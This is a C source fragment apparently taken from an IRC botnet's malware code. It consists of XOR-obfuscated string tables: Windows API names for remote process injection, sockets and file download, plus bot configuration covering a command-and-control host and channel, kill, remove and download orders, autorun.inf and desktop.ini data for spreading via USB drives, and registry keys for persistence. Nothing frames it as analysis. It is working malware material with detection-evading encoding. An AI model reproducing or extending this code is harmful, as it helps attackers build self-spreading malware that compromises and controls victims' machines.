char *apistr[] =
{
#define s_kernel32 0
	"\xC6\xC8\xDF\xC3\xC8\xC1\x9E\x9F\x83\xC9\xC1\xC1",
#define s_ws2_32 1
	"\xDA\xDE\x9F\xF2\x9E\x9F\x83\xC9\xC1\xC1",
#define s_wininet 2
	"\xDA\xC4\xC3\xC4\xC3\xC8\xD9\x83\xC9\xC1\xC1", 
#define s_shell32 3
	"\xDE\xC5\xC8\xC1\xC1\x9E\x9F\x83\xC9\xC1\xC1", 
#define s_advapi32 4
	"\xCC\xC9\xDB\xCC\xDD\xC4\x9E\x9F\x83\xC9\xC1\xC1",
#define s_CreateToolhelp32Snapshot 5
	"\xEE\xDF\xC8\xCC\xD9\xC8\xF9\xC2\xC2\xC1\xC5\xC8\xC1\xDD\x9E\x9F\xFE\xC3\xCC\xDD\xDE\xC5\xC2\xD9",
#define s_Process32First 6
	"\xFD\xDF\xC2\xCE\xC8\xDE\xDE\x9E\x9F\xEB\xC4\xDF\xDE\xD9",
#define s_Process32Next 7
	"\xFD\xDF\xC2\xCE\xC8\xDE\xDE\x9E\x9F\xE3\xC8\xD5\xD9",
#define s_OpenProcess 8
	"\xE2\xDD\xC8\xC3\xFD\xDF\xC2\xCE\xC8\xDE\xDE",
#define s_GetModuleFileNameA 9
	"\xEA\xC8\xD9\xE0\xC2\xC9\xD8\xC1\xC8\xEB\xC4\xC1\xC8\xE3\xCC\xC0\xC8\xEC",
#define s_VirtualAllocEx 10
	"\xFB\xC4\xDF\xD9\xD8\xCC\xC1\xEC\xC1\xC1\xC2\xCE\xE8\xD5",
#define s_ZwWriteVirtualMemory 11
	"\xF7\xDA\xFA\xDF\xC4\xD9\xC8\xFB\xC4\xDF\xD9\xD8\xCC\xC1\xE0\xC8\xC0\xC2\xDF\xD4",
#define s_CreateRemoteThread 12
	"\xEE\xDF\xC8\xCC\xD9\xC8\xFF\xC8\xC0\xC2\xD9\xC8\xF9\xC5\xDF\xC8\xCC\xC9",
#define s_WaitForSingleObject 13
	"\xFA\xCC\xC4\xD9\xEB\xC2\xDF\xFE\xC4\xC3\xCA\xC1\xC8\xE2\xCF\xC7\xC8\xCE\xD9",
#define s_CreateMutexA 14
	"\xEE\xDF\xC8\xCC\xD9\xC8\xE0\xD8\xD9\xC8\xD5\xEC",
#define s_CreateThread 15
	"\xEE\xDF\xC8\xCC\xD9\xC8\xF9\xC5\xDF\xC8\xCC\xC9",
#define s_ExitThread 16
	"\xE8\xD5\xC4\xD9\xF9\xC5\xDF\xC8\xCC\xC9", 
#define s_Sleep 17
	"\xFE\xC1\xC8\xC8\xDD",
#define s_GetTickCount 18
	"\xEA\xC8\xD9\xF9\xC4\xCE\xC6\xEE\xC2\xD8\xC3\xD9", 
#define s_CreateFileA 19
	"\xEE\xDF\xC8\xCC\xD9\xC8\xEB\xC4\xC1\xC8\xEC", 
#define s_WriteFile 20
	"\xFA\xDF\xC4\xD9\xC8\xEB\xC4\xC1\xC8", 
#define s_CloseHandle 21
	"\xEE\xC1\xC2\xDE\xC8\xE5\xCC\xC3\xC9\xC1\xC8", 
#define s_CreateProcessA 22
	"\xEE\xDF\xC8\xCC\xD9\xC8\xFD\xDF\xC2\xCE\xC8\xDE\xDE\xEC", 
#define s_GetLogicalDriveStringsA 23
	"\xEA\xC8\xD9\xE1\xC2\xCA\xC4\xCE\xCC\xC1\xE9\xDF\xC4\xDB\xC8\xFE\xD9\xDF\xC4\xC3\xCA\xDE\xEC", 
#define s_GetDriveTypeA 24
	"\xEA\xC8\xD9\xE9\xDF\xC4\xDB\xC8\xF9\xD4\xDD\xC8\xEC", 
#define s_CreateDirectoryA 25
	"\xEE\xDF\xC8\xCC\xD9\xC8\xE9\xC4\xDF\xC8\xCE\xD9\xC2\xDF\xD4\xEC", 
#define s_GetLastError 26
	"\xEA\xC8\xD9\xE1\xCC\xDE\xD9\xE8\xDF\xDF\xC2\xDF", 
#define s_SetFileAttributesA 27
	"\xFE\xC8\xD9\xEB\xC4\xC1\xC8\xEC\xD9\xD9\xDF\xC4\xCF\xD8\xD9\xC8\xDE\xEC", 
#define s_CopyFileA 28
	"\xEE\xC2\xDD\xD4\xEB\xC4\xC1\xC8\xEC", 
#define s_DeleteFileA 29
	"\xE9\xC8\xC1\xC8\xD9\xC8\xEB\xC4\xC1\xC8\xEC", 
#define s_lstrlen 30
	"\xC1\xDE\xD9\xDF\xC1\xC8\xC3", 
#define s_lstrcat 31
	"\xC1\xDE\xD9\xDF\xCE\xCC\xD9", 
#define s_lstrcmp 32
	"\xC1\xDE\xD9\xDF\xCE\xC0\xDD", 
#define s_lstrcmpi 33
	"\xC1\xDE\xD9\xDF\xCE\xC0\xDD\xC4", 
#define s_lstrcpyn 34
	"\xC1\xDE\xD9\xDF\xCE\xDD\xD4\xC3", 
#define s_WSAStartup 35
	"\xFA\xFE\xEC\xFE\xD9\xCC\xDF\xD9\xD8\xDD", 
#define s_socket 36
	"\xDE\xC2\xCE\xC6\xC8\xD9", 
#define s_connect 37
	"\xCE\xC2\xC3\xC3\xC8\xCE\xD9", 
#define s_inet_addr 38
	"\xC4\xC3\xC8\xD9\xF2\xCC\xC9\xC9\xDF", 
#define s_htons 39
	"\xC5\xD9\xC2\xC3\xDE", 
#define s_send 40
	"\xDE\xC8\xC3\xC9", 
#define s_recv 41
	"\xDF\xC8\xCE\xDB", 
#define s_closesocket 42
	"\xCE\xC1\xC2\xDE\xC8\xDE\xC2\xCE\xC6\xC8\xD9", 
#define s_gethostbyname 43
	"\xCA\xC8\xD9\xC5\xC2\xDE\xD9\xCF\xD4\xC3\xCC\xC0\xC8",
#define s_InternetOpenA 44
	"\xE4\xC3\xD9\xC8\xDF\xC3\xC8\xD9\xE2\xDD\xC8\xC3\xEC",
#define s_InternetOpenUrlA 45
	"\xE4\xC3\xD9\xC8\xDF\xC3\xC8\xD9\xE2\xDD\xC8\xC3\xF8\xDF\xC1\xEC",
#define s_InternetCloseHandle 46
	"\xE4\xC3\xD9\xC8\xDF\xC3\xC8\xD9\xEE\xC1\xC2\xDE\xC8\xE5\xCC\xC3\xC9\xC1\xC8",
#define s_InternetReadFile 47
	"\xE4\xC3\xD9\xC8\xDF\xC3\xC8\xD9\xFF\xC8\xCC\xC9\xEB\xC4\xC1\xC8",
#define s_ShellExecuteA 48
	"\xFE\xC5\xC8\xC1\xC1\xE8\xD5\xC8\xCE\xD8\xD9\xC8\xEC",
#define s_RegCreateKeyExA 49
	"\xFF\xC8\xCA\xEE\xDF\xC8\xCC\xD9\xC8\xE6\xC8\xD4\xE8\xD5\xEC",
#define s_RegSetValueExA 50
	"\xFF\xC8\xCA\xFE\xC8\xD9\xFB\xCC\xC1\xD8\xC8\xE8\xD5\xEC",
#define s_RegCloseKey 51
	"\xFF\xC8\xCA\xEE\xC1\xC2\xDE\xC8\xE6\xC8\xD4",
#define s_RegDeleteKeyA 52
	"\xFF\xC8\xCA\xE9\xC8\xC1\xC8\xD9\xC8\xE6\xC8\xD4\xEC",
#define s_RegDeleteValueA 53
	"\xFF\xC8\xCA\xE9\xC8\xC1\xC8\xD9\xC8\xFB\xCC\xC1\xD8\xC8\xEC",
#define s_ntdll 54
	"\xC3\xD9\xC9\xC1\xC1\x83\xC9\xC1\xC1",
	NULL
};

strings_s strings[] =
{
	/**************CONFIG-MAIN****************/
	#define s_decodekey 0
	{"\xDC\xDC\xDC\x9C\x9F\x9E", 1},
	#define s_filename 1
	{"\xCC\xD8\xD9\xC2\xDF\xD8\xC3\x83\xC8\xD5\xC8", 1},
	#define s_mutex 2
	{"\xC1\xC6\xCC\xC6\xDE\xCA", 1},
	#define s_autostartkey 3
	{"\xD6\x9D\x95\xEF\x9D\xE8\x98\xEE\x9D\x80\x99\xEB\xEE\xEF\x80\x9C\x9C\xEE\xEB\x80\xEC\xEC\xF5\x98\x80\x9D\x9D\x99\x9D\x9C\xEE\x9B\x9D\x95\x98\x9C\x9F\xD0", 1},
	#define s_botversion 4
	{"\xCF\xC8\xD9\xCC\x8D\xD9\xC8\xDE\xD9\x8D\xDB\x9D\x83\x9C", 1},
	#define s_ircorderprefix 5
	{"\x8C", 1},
	#define s_masterhost 6
	{"\xCB\xCF\xC4\x83\xCA\xC2\xDB", 1},
	#define s_password 7
	{NULL, 1},
	#define s_channel 8
	{"\x8E\xDD\xC8\xC9\xC8\xDF\xC4", 1},
	#define s_channelpass 9
	{"\xC6\xD8\xDF\xCE\xC8\xDB\xD9\xC8\xDE\xD9", 1},
	#define s_channel_usb 10
	{"\x8E\xD8\xDE\xCF", 1},
	/**************CONFIG-ORDERS****************/
	#define s_order_version 11
	{"\xDB", 1},
	#define s_order_die 12
	{"\xC9", 1},
	#define s_order_r 13
	{"\xDF", 1},
	#define s_order_r2 14
	{"\xDC", 1},
	#define s_order_remove 15
	{"\xC2\xC9\xDE\xD9\xDF\xCC\xC3\xC4", 1},
	#define s_order_dl 16
	{"\xC3\xCC\xC1\xC2\xD7\xC4", 1},
	#define s_order_join 17
	{"\xC7", 1},
	#define s_order_part 18
	{"\xDD", 1},
	/**************IRC STRINGS****************/
	#define s_pass 19
	{"\xFD\xEC\xFE\xFE\x8D", 1},
	#define s_nick 20
	{"\xE3\xE4\xEE\xE6\x8D\xFB\xC4\xDF\xD8\xDE\x80", 1},
	#define s_user 21
	{"\xF8\xFE\xE8\xFF\x8D", 1},
	#define s_motd 24
	{"\xE0\xE2\xF9\xE9", 1},
	#define s_ping 25
	{"\xFD\xE4\xE3\xEA", 1},
	#define s_pong 26
	{"\xFD\xE2\xE3\xEA\x8D", 1},
	#define s_join 27
	{"\xE7\xE2\xE4\xE3\x8D", 1},
	#define s_part 28
	{"\xFD\xEC\xFF\xF9\x8D", 1},
	#define s_privmsg 29
	{"\xFD\xFF\xE4\xFB\xE0\xFE\xEA", 1},
	#define s_332 30
	{"\x9E\x9E\x9F", 1},
	#define s_433 31
	{"\x99\x9E\x9E", 1},
	#define s_dbldot 32
	{"\x8D\x97", 1},
	#define s_space 34
	{"\x8D", 1},
	#define s_usb_infect 35
	{"\xAE\x9D\x81\x9C\xAF\xFB\xC4\xDF\xD8\xDE\x8D\xE2\xDA\xC3\x9E\xC9\x8D\xAE\x9D\xF8\xFE\xEF\x8D\xE9\xDF\xC4\xDB\xC8\xDF\xAE\x99\x8D", 1},
	/**************DOWNLOADER STRINGS****************/
	#define s_internetopen 36
	{"\xE0\xC2\xD7\xC4\xC1\xC1\xCC", 0},
	#define s_success 37
	{"\xFE\xD8\xCE\xCE\xC8\xDE\xDE\x83", 0},
	#define s_failed 38
	{"\xEB\xCC\xC4\xC1\xC8\xC9\x83", 0},
	/**************USB-SPREAD STRINGS****************/
	#define s_usb_recycler 39
	{"\xF1\xFF\xE8\xFE\xF9\xE2\xFF\xE8", 0},
	#define s_usb_recsubdir 40
	{"\xF1\xFE\x80\x9C\x80\x98\x80\x9F\x9C\x80\x9C\x99\x95\x9F\x99\x9A\x9B\x98\x9D\x9C\x80\x9C\x9B\x99\x99\x99\x94\x9C\x94\x9E\x9A\x80\x9B\x95\x9F\x9D\x9D\x9E\x9E\x9E\x9D\x80\x9C\x9D\x9C\x9E", 0},
	#define s_usb_desktopinidata 41
	{"\xF6\x83\xFE\xC5\xC8\xC1\xC1\xEE\xC1\xCC\xDE\xDE\xE4\xC3\xCB\xC2\xF0\xA7\xEE\xE1\xFE\xE4\xE9\x90\xD6\x9B\x99\x98\xEB\xEB\x9D\x99\x9D\x80\x98\x9D\x95\x9C\x80\x9C\x9D\x9C\xEF\x80\x94\xEB\x9D\x95\x80\x9D\x9D\xEC\xEC\x9D\x9D\x9F\xEB\x94\x98\x99\xE8\xD0", 0},
	#define s_usb_desktopini 42
	{"\xF1\xE9\xC8\xDE\xC6\xD9\xC2\xDD\x83\xC4\xC3\xC4", 0},
	#define s_usb_autoruninf 43
	{"\xF1\xCC\xD8\xD9\xC2\xDF\xD8\xC3\x83\xC4\xC3\xCB", 0},
	#define s_usb_autorundata1 44
	{"\xF6\xCC\xD8\xD9\xC2\xDF\xD8\xC3\xF0\xA7\xC2\xDD\xC8\xC3\x90", 0},
	#define s_usb_autorundata2 45
	{"\xA7\xC4\xCE\xC2\xC3\x90\x88\xFE\xD4\xDE\xD9\xC8\xC0\xFF\xC2\xC2\xD9\x88\xF1\xDE\xD4\xDE\xD9\xC8\xC0\x9E\x9F\xF1\xFE\xE5\xE8\xE1\xE1\x9E\x9F\x83\xC9\xC1\xC1\x81\x99\xA7\xCC\xCE\xD9\xC4\xC2\xC3\x90\xE2\xDD\xC8\xC3\x8D\xCB\xC2\xC1\xC9\xC8\xDF\x8D\xD9\xC2\x8D\xDB\xC4\xC8\xDA\x8D\xCB\xC4\xC1\xC8\xDE\xA7\xDE\xC5\xC8\xC1\xC1\xF1\xC2\xDD\xC8\xC3\x90\xE2\xDD\xC8\xC3\xA7\xDE\xC5\xC8\xC1\xC1\xF1\xC2\xDD\xC8\xC3\xF1\xCE\xC2\xC0\xC0\xCC\xC3\xC9\x90", 0},
	#define s_usb_autorundata3 46
	{"\xA7\xDE\xC5\xC8\xC1\xC1\xF1\xC2\xDD\xC8\xC3\xF1\xC9\xC8\xCB\xCC\xD8\xC1\xD9\x90\x9C", 0},
	/**************INSTALL STRINGS****************/
	#define s_c 47
	{"\xCE\x97", 1},
	#define s_dblslash 48
	{"\xF1", 1},
	/**************AUTOSTART STRINGS****************/
	#define s_autostartreg 49
	{"\xFE\xC2\xCB\xD9\xDA\xCC\xDF\xC8\xF1\xE0\xC4\xCE\xDF\xC2\xDE\xC2\xCB\xD9\xF1\xEC\xCE\xD9\xC4\xDB\xC8\x8D\xFE\xC8\xD9\xD8\xDD\xF1\xE4\xC3\xDE\xD9\xCC\xC1\xC1\xC8\xC9\x8D\xEE\xC2\xC0\xDD\xC2\xC3\xC8\xC3\xD9\xDE", 0},
	#define s_stubpath 50
	{"\xFE\xD9\xD8\xCF\xFD\xCC\xD9\xC5", 0},
	#define s_autostartreg_guestacc 51
	{"\xFE\xC2\xCB\xD9\xDA\xCC\xDF\xC8\xF1\xE0\xC4\xCE\xDF\xC2\xDE\xC2\xCB\xD9\xF1\xFA\xC4\xC3\xC9\xC2\xDA\xDE\xF1\xEE\xD8\xDF\xDF\xC8\xC3\xD9\xFB\xC8\xDF\xDE\xC4\xC2\xC3\xF1\xFF\xD8\xC3", 0},
	#define s_autostartreg_def 52
	{"\xF9\xC8\xDE\xD9\xC8\xDF", 0},
	/**************MISC****************/
	#define s_order_silent 53
	{"\xDE", 1},
	#define s_star 54
	{"\x87", 1},
	#define laststring 55
	{NULL, 0}
};
char decode_key[] = "f848";
